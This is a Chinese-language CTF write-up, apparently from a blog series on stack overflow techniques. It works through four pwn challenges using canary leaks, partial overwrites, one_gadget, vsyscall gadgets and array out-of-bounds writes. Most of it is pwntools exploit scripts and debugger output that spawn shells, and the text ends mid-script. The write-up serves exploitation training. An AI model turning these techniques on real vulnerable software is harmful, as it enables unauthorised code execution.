read(0, buf, 0x30)函數執行完成後:───────────────────────────────────[ STACK ]─────────────────────────────────────────00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')... ↓05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push r1507:0038│ 0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov eax, 0─────────────────────────────────────────────────────────────────────────────────pwndbg> x /18gx 0x7fff426083d00x7ffcd84e68d0: 0x6161616161616161 0x61616161616161610x7ffcd84e63e0: 0x6161616161616161 0x61616161616161610x7ffcd84e63f0: 0x6161616161616161 0x5764f3c02805770a

覆寫ret_addr控制程式的指令流
首先找到flag的位址,最後一個半位元組為0x7f0,由于記憶體是按頁夾在的 0x1000為一頁,是以每次加載這三位是不會變的,那麼在payload中發送的時候(按位元組發送,發送4位),第四位随便填寫一個即可,每次對随機加載後的flag函數起始位址進行碰撞,因為範圍在0x0 -0xf,是以碰撞成功的幾率挺大的。


           

pwndbg> disassemble flagDump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 system@plt 0x0000555555554800 <+16>: nop 0x0000555555554801 <+17>: pop rbp 0x0000555555554802 <+18>: ret End of assembler dump.

構造payload,覆寫ret_addr的末尾兩個位元組


           

p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'p.send(payload)

可以看到RAX、Canary、ret_addr的末尾兩個位元組都已經成功覆寫,後面的工作就是去碰撞。─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qword ptr fs:[0x28]──────────────────────────────[ DISASM ]───────────────────────────────── ► 0x55cd0345386f xor rax, qword ptr fs:[0x28] 0x55cd03453878 je 0x55cd0345387f ↓ 0x55cd0345387f leave 0x55cd03453880 ret ─────────────────────────── ───[ STACK ]─────────────────────────────────00:0000│ rsi r8 rsp 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓05:0028│ 0x7ffe773d1d98 ◂— 0xa4c9b736e376370006:0030│ rbp 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')07:0038│ 0x7ffe773d1da8 ◂— 0x55cd034547f0

exp:


           

from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary = u64('\0' + p.recvn(7)) print hex(canary) p.recvuntil(":\n")

payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
    p.send(payload)
    flag = p.recvall()
    if 'flag' in flag:
        exit(0)
except Exception as e:
    p.close()
    print e


           

pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'......[+] Receiving all data: Done (37B)[DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'[] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)[] Stopped process './test-pie' (pid 17620

總結:在該情況下,因為有canary保護,是以先洩漏canary ,進而構造payload繞過canary覆寫傳回位址來執行指定的函數。

# 題目二
2018年XNUCA中的gets題目


           

int64 fastcall main(__int64 a1, char a2, char a3){ __int64 v4; // rsp+0h

gets((**int64)&v4, (**int64)a2, (__int64)a3); return 0LL;}

pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)依然沒有PIE,但是開了ASLR保護

隻有一個gets函數而且存在明顯棧溢出漏洞,想象空間很大,可以構造execve函數進行getshell,由于開啟了ASLR,必須先構造read或者puts函數洩漏libc的位址,但代碼段又沒有這些函數,依然得需要先知道libc的加載位址。那麼既然開啟位址随機化,嘗試partial overwrite去覆寫傳回位址(覆寫成onegadget的位址)達到getshell的目的。


           

ps:one-gadget是glibc裡調用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我們能夠控制ip的時候,用one-gadget來做RCE(遠端代碼執行)非常友善,一般地,此辦法在64位上常用,卻在32位的libc上會很難去找,也很難用。

pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL

可以看到棧中main函數的傳回位址是0x7ffff7a5a2e1(__libc_start_main+241),繼續往下看還發現 0x7ffff7de896b (_dl_init+139)。


有兩個位址,這有什麼用呢?繼續往下看
發現兩個位址分别屬于libc和ld,而且經過多次實驗發現在每次加載中,Id.so和libc.so的加載位址的相對位置是固定的,也就是偏移量不變。

就好比開頭提到的,一個比較自然的想法就是我們通過 partial overwrite 來修改0x7ffff7a5a2e1的末尾兩位位元組為0xf306(如題目一的思路),經過多次碰撞得到onegadget的位址,最終getshell。那麼就開始構造flag,因為gets函數會在末尾讀入一個\x00的結束符,是以實際上覆寫後的位址是這樣的0x7ffff700f306,但是這就面臨一個問題。
按照上面來說,如果直接覆寫傳回位址 那麼覆寫成了0x7ffff700f306(嚴謹一點:0x7ffff7000306 - 0x7ffff700f306),那麼計算出libc的加載位址為0x7ffff6fd0000<<0x7ffff7a3a000(嚴謹一點:0x7ffff6fc1000 - 0x7ffff6fd0000),也就是說libc加載在這個範圍内才可能碰撞到onegadget,但是因為偏移量不變的原因,libc加載在這個範圍内,覆寫後的onegadget的位址依然偏小,永遠是不可能碰撞到的。如果還是不了解,那繼續看這個假設實驗:
假設我們不知道__libc_start_main在libc的偏移量,并且祈禱__libc_start_main與libc的基址相距地很遠,并且假設一下幾個位址成立:
onegadge位址:0x7ffff700f306 
那麼根據偏移計算出來
libc的基址:0x7ffff6fd0000 (0x7ffff700f306-0x3f306)
此時__libc_start_main+240的位址:0x7ffff7xxxxxx(給一個最小的位址:0x7ffff7000000),這樣才上述的位址的相對位置才有可能成立。此時__libc_start_main的(最小)偏移量為0x2FF10。
現在去驗證一下這個假設是否成立,隻要真實的偏移量大于等于假設的偏移量,那麼假設成立,檢視__libc_start_main在libc中偏移量為0x201f0<0x2FF10,也就是說上述假設不成立。


           
棧溢出技巧(下)

pwndbg> xinfo __libc_start_mainExtended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0

一般來說 libc_start_main 在 libc 中的偏移不會差的太多,那麼顯然我們如果覆寫 __libc_start_main+240 ,顯然是不可能的。
那麼第二個位址_dl_init+139就有用了,将其覆寫為0x7ffff700f306,按照上面的方法看看是否可行。
onegadge:0x7ffff700f306
那麼根據偏移計算出來
libc的基址:0x7ffff6fd0000
此時_dl_init+139的位址:0x7ffff7xxxxxx(給一個最小的位址:0x7ffff7000000),此時_dl_init的(最小)偏移量(距離libc)為0x2FF75
libc和ld兩者相距:0x39f000 (在加載的過程中,這個偏移是不變的)
ld.so的加載位址:0x7ffff736f000 
檢視_dl_init真實的偏移量(在ld.so中)0xf8e0,距離libc的偏移是0x3ae8e0>0x2FF75,上述假設成立,此時_dl_init+139的位址為:0x7ffff7de896b(符合0x7ffff7xxxxxx形式)


           

pwndbg> xinfo _dl_initExtended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0

也就是說,當libc的基址為0x7ffff6fd0000是,此時覆寫棧上_dl_init+139為0x7ffff700f306就一定能夠碰撞onegadget的位址,這是其中一個可能,還有很多種其他的可能,雖然碰撞幾率不大,也不會很小,其實證明了這麼久其實就是卡一個0x7ffff6fdxxxxx和0x7ffff7xxxxx這個點的幾率。
下面的操作就簡單易懂了,解決怎麼去覆寫的問題即可。
相隔那麼遠,怎麼在棧上移動?
那麼就需要找到合适的gadget了,隻需要push_ret那麼就可以準确定位到存放_dl_init+139位址。使用__libc_csu_init中的gadget。


           

pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret

移動的過程如下:

因為這個需要機率,是以不知道payload是不是正确,還在那一直跑,先調試代碼,可以發現都是按照設想去執行  隻是沒成功,然後就是一直跑,直到跑出shell為止。

exp:


           
棧溢出技巧(下)
棧溢出技巧(下)

context.arch = 'amd64'

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

offset = 0x18

while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3'

gdb.attach(p)

p.sendline(payload)
    p.sendline('ls')
    data = p.recv()
    print data
    p.interactive()
    p.close()
except Exception:
    p.close()
    continue


           
這就需要耐心了,可能幾十分鐘都沒結果(我跑了好久),然後去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分鐘左右就跑出來了。


# 題目三
HITBCTF2017中的1000levels題目,梳理流程,函數有點多


           

_BOOL8 __fastcall level(signed int a1){ __int64 v2; // rax __int64 buf; // rsp+10h __int64 v4; // rsp+18h __int64 v5; // rsp+20h __int64 v6; // rsp+28h unsigned int v7; // rsp+30h unsigned int v8; // rsp+34h unsigned int v9; // rsp+38h int i; // rsp+3Ch buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( !a1 ) return 1LL; if ( (unsigned int)level(a1 - 1) == 0 ) return 0LL; v9 = rand() % a1; v8 = rand() % a1; v7 = v8 * v9; puts("===================================================="); printf("Level %d\n", (unsigned int)a1); printf("Question: %d * %d = ? Answer:", v9, v8); for ( i = read(0, &buf, 0x400uLL); i & 7; ++i ) *((_BYTE *)&buf + i) = 0; v2 = strtol((const char *)&buf, 0LL, 10); return v2 == v7;}

pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

主要看level函數,棧溢出發生在 level函數中
__int64 buf; // [rsp+10h] [rbp-30h]
read(0, &buf, 0x400uLL)
顯然發生了溢出。其中還是開啟了PIE保護。
程式的流程是通過go函數進入關卡,擷取設定的關卡數數目,在level函數中進行遞歸執行,程式有點複雜,就沒有頭緒,那麼先從溢出點看,怎麼利用這個溢出點?利用題目二的思路,使用partial overwrite覆寫傳回位址為onegadget位址,也就是覆寫0x238距離外的0x7ffff7de896b (_dl_init+139) ,然後再利用合适的gadget(因為PIE的緣故,如果還是使用__libc_csu_init的gadget的話,需要先洩漏加載位址,此處換成vsystem裡面的gadget)來移動0x238的距離進行覆寫末尾兩位。但是仔細看一下程式流程發現還有一個更簡單的辦法, 我們上一個辦法無非就是為了執行onegadget,但是在之前确定onegadget加載的位址,那麼需要一個參照物,仔細看hint函數


           

int hint(void){ signed __int64 v1; // rsp+8h int v2; // rsp+10h __int16 v3; // rsp+14h if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1);}

無論執不執行sprintf((char *)&v1, "Hint: %p\n", &system, &system)這條語句,在之前執行這麼一段指令


           

0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax

将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在棧中位置是hint函數的rbp - 0x110,也就是隻要執行hint函數,那麼system函數就會被放在rbp - 0x110處,而且這個位置很眼熟,在go函數中也有


           

int go(void){ int v1; // ST0C_4 __int64 v2; // rsp+0h __int64 v3; // rsp+0h int v4; // rsp+8h __int64 v5; // rsp+10h signed __int64 v6; // rsp+10h signed __int64 v7; // rsp+18h __int64 v8; // rsp+20h puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3; if ( v6 > 0 ) { if ( v6 <= 999 ){ v7 = v6; } else { puts("More levels than before!"); v7 = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(v7) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); puts((const char *)&v8); } else { puts("You failed."); } exit(0); } return puts("Coward");}

v5和v6都是rbp-0x110,由于棧幀開辟的原理,main函數中的hint函數和go函數的的rbp應該是同一個位址,是以在執行完hint函數後,再去執行go函數,v5和v6中儲存了system的位址,而且剛才說的棧溢出發生在level函數中,由于棧幀開辟的原理,level函數的棧幀在go函數的棧幀的低位置處,可以通過棧溢出和合适的ret的gadget去執行system函數,不過這有兩個前提,一、rbp-0x110的位址内容不會被覆寫;二、需要pop_rsi_ret的gadget和'/bin/sh'的位址,這看起來很難滿足,繼續看程式邏輯,會發現


           

if ( v2 > 0 ) v5 = v2;else puts("Coward");puts("Any more?");v3 = read_num();v6 = v5 + v3;

也就說隻要v2<=0,rbp-0x110就不會被覆寫,而且v6 = v5 + v3可以靈活運用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因為剛才頁提到了最終都要往onegadget上靠,而且我們知道,無論怎麼加載,偏移量始終是固定的。這樣分析完後,思路就很明确了,顯示構造onegadget_addr,然後利用棧溢出和合适的ret的gadget去執行onegadget。
第一步得找到level傳回位址和rbp-0x110的距離


           

pwndbg> disassemble goDump of assembler code for function _Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 puts@plt 0x0000555555554b93 <+23>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554b98 <+28>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554b9f <+35>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554ba6 <+42>: test rax,rax 0x0000555555554ba9 <+45>: jg 0x555555554bb9 <_Z2gov+61> 0x0000555555554bab <+47>: lea rdi,[rip+0x4f3] # 0x5555555550a5 0x0000555555554bb2 <+54>: call 0x555555554900 puts@plt 0x0000555555554bb7 <+59>: jmp 0x555555554bc7 <_Z2gov+75> 0x0000555555554bb9 <+61>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bc0 <+68>: mov QWORD PTR [rbp-0x110],rax 0x0000555555554bc7 <+75>: lea rdi,[rip+0x4de] # 0x5555555550ac 0x0000555555554bce <+82>: call 0x555555554900 puts@plt 0x0000555555554bd3 <+87>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554bd8 <+92>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554bdf <+99>: mov rdx,QWORD PTR [rbp-0x110] 0x0000555555554be6 <+106>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bed <+113>: add rax,rdx 0x0000555555554bf0 <+116>: mov QWORD PTR [rbp-0x110],rax......

在go的彙編代碼中可以看到,總共開辟了0x120大小的棧幀,v5和v6在rsp+10h中,很容易可以計算出level傳回位址距離system_addr的距離是0x18,棧結構如下:


           

0x7fffffffcb88 | 0x555555554c74 (go()+248)

0x7fffffffcb90 | 0x1

0x7fffffffcb98 | 0x555560531c95

0x7fffffffcba0 | 0x2

經過覆寫後0x7fffffffcba0中存的是onegadget的位址。然後在使用合适的gadget越過0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三個記憶體單元,控制程式執行0x7fffffffcba0的内容。
第二步尋找合适的gadget。
在PIE的情況下,怎麼尋找這個合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的差別的時候,一直提到一個點,無論開啟ASLR,還是PIE+ASLR,vsyscall的加載位址依然不變,始終為0xffffffffff600000 - 0xffffffffff601000。
簡單介紹一下vsyscall,現代的Windows和Unix作業系統都采用了分級保護的方式,核心代碼位于R0,使用者代碼位于R3。執行某些操作的時候會在從使用者空間切換到核心空間時需要一個媒體,這媒體就是系統調用,但是這一過程需要耗費一定的性能,增加了不必要的開銷,vsystem就是加速某些系統調用的機制,他用來執行特定的系統調用,減少系統調用的開銷,例如gettimeofday(),這樣就避免了傳統的系統調用模式int 0x80/syscall造成的核心空間和使用者上下文空間的切換。使用gdb将vsystem這段記憶體dump下來拿到IDA中進行檢視


           

seg000:0000000000000000 mov rax, 60hseg000:0000000000000007 syscall ; Low latency system callseg000:0000000000000009 retnseg000:0000000000000009 ; ---------------------------------------------------------------------------seg000:000000000000000A align 400hseg000:0000000000000400 mov rax, 0C9hseg000:0000000000000407 syscall ; Low latency system callseg000:0000000000000409 retnseg000:0000000000000409 ; ---------------------------------------------------------------------------seg000:000000000000040A align 400hseg000:0000000000000800 mov rax, 135hseg000:0000000000000807 syscall ; Low latency system callseg000:0000000000000809 retn

顯示的這三個系統調用分别是:gettimeofday, time和getcpu。值得注意的是,在我們選擇gadget的是,直接調用vsyscall中的retn指令,會提示段錯誤,這是因為vsyscall執行時會進行檢查,如果不是從函數開頭執行的話就會出錯
是以不能直接調用ret,應該從頭開始。
第三步找到onegadget


           
準備内容做完後就開始構造payload,但是本地測試一直失敗 ,調試時發現每次執行vsyscall的系統調用的的時候,會報出Program recevied signal SIGSEGV(fault address 0xa)的錯誤提示,可是沒有查到原因(求大佬指點),後來在攻防世界中找到一個一樣的題目'100levels',隻不過最高的循環從1000變為了100,思路沒有變,改了下exp就利用成功了,于是更納悶為什麼本地會報這種錯誤。


           

from pwn import *libc = ELF("./libc.so")

p = process('./1000levels')

p = remote('111.200.241.244',45392)

one_gadget = 0x3f306

one_gadget = 0x4526asystem = libc.symbols['system']

print r.recvuntil("Choice:\n")p.sendline('2')print r.recvuntil("Choice:\n")p.sendline('1')print r.recvuntil("How many levels?\n")p.sendline('0')print r.recvuntil("Any more?\n")p.sendline(str(one_gadget-system))

def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans))

for i in range(999):

for i in range(99): calc()print p.recvuntil("Answer:")payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3p.send(payload)p.interactive()

棧溢出技巧(下)
# 題目四
2019年CISCN中your_pwn的題目,源碼如下:


           

int64 fastcall main(__int64 a1, char a2, char a3){ char s; // rsp+0h unsigned __int64 v5; // rsp+108h v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int)sub_B35() ); return 0LL;}

_BOOL8 sub_B35(){ int v1; // rsp+4h int v2; // rsp+8h int i; // rsp+Ch char v4[64]; // rsp+10h char s; // rsp+50h unsigned __int64 v6; // rsp+158h v6 = __readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); printf("now value(hex) %x\n", (unsigned int)v4[v1]); puts("input new value"); __isoc99_scanf("%d", &v2); v4[v1] = v2; } puts("do you want continue(yes/no)? "); read(0, &s, 0x100uLL); return strncmp(&s, "yes", 3uLL) == 0;}

pwn@pwn-PC:~/Desktop$ checksec pwn[*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

又是保護全開,根據程式的代碼可以發現存在數組越界漏洞,其中v1可以控制,因為v4這個數組在讀取索引的時候沒有限制,引發數組越界漏洞,而且代碼中分别對數組進行了讀和寫操作,那麼造成棧空間任意位址讀寫(任意位址讀和任意位址寫)。由于PIE和canary的存在,是以思路是先洩露棧中的某個傳回位址,擷取棧中的某些函數(main函數的傳回位址__libc_start_main+241)的加載位址,進而計算出libc的基址,進而計算得到onegadget的位址,然後寫入傳回位址進行ROP即可。
在構造payload之前,先分析一下利用過程。
第一步洩漏main函數的傳回位址__libc_start_main+241的位址:0x7ffff7a5a2e1,進而根據偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。


第二步找到onegadget
選擇一個onegadget,根據得到的libc的基址和偏移量計算出onegadget位址,0x7ffff7a3a000 + 0x3f306 = 0x7ffff7a79306。


           

constraints: [rsp+0x60] == NULL

那麼此時前期工作就做完,之後利用數組溢出洩漏基址,然後利用數組的寫入操作進行rop,執行onegadget,整體的分析如下圖:


結合前幾節學過的知識,發現能夠對過程進行簡化,我們洩露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的位址,隻需要洩漏後後三位(因為前面的加載位址都一樣)即可


           

檢視__libc_start_main+241末尾三個位元組:pwndbg> x /3bx 0x7fffffffcd180x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1

使用後三位位元組進行計算:0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr

将onegadget addr進行寫入:0x7fffffffcd18 :0x06 :v2 = 60x7fffffffcd19 :0x93 :v2 = 1470x7fffffffcd1a :0x7a :v2 = 122

寫入位置:v4[0x278] :v1 = 632v4[0x279] :v1 = 633v4[0x280] :v1 = 634

注意在進行printf時,是輸出是格式%x,運用了一次MOVSX指令(說明:帶符号擴充傳送指),是以在exp中需要對輸出的内容進行處理,exp如下:


           

libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")p = process('./pwn')one_gadget = 0x3f306libc_start_main_addr = libc.symbols['__libc_start_main']libc_start_main_241 = 0xf1offset = 0x278newValue = 1

def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main

p.recvuntil("name:")p.sendline('pwn')

p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))

libc_start_main = byte(addr2) + byte(addr1) + byte(addr)libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241one_gadget_addr = libc_addr + one_gadget

print hex(one_gadget_addr)

a = int('0x'+hex(one_gadget_addr)[-2:],16)b = int('0x'+hex(one_gadget_addr)[-4:-2],16)c = int('0x'+hex(one_gadget_addr)[-6:-4],16)

p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(a))

p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(b))

繼續閱讀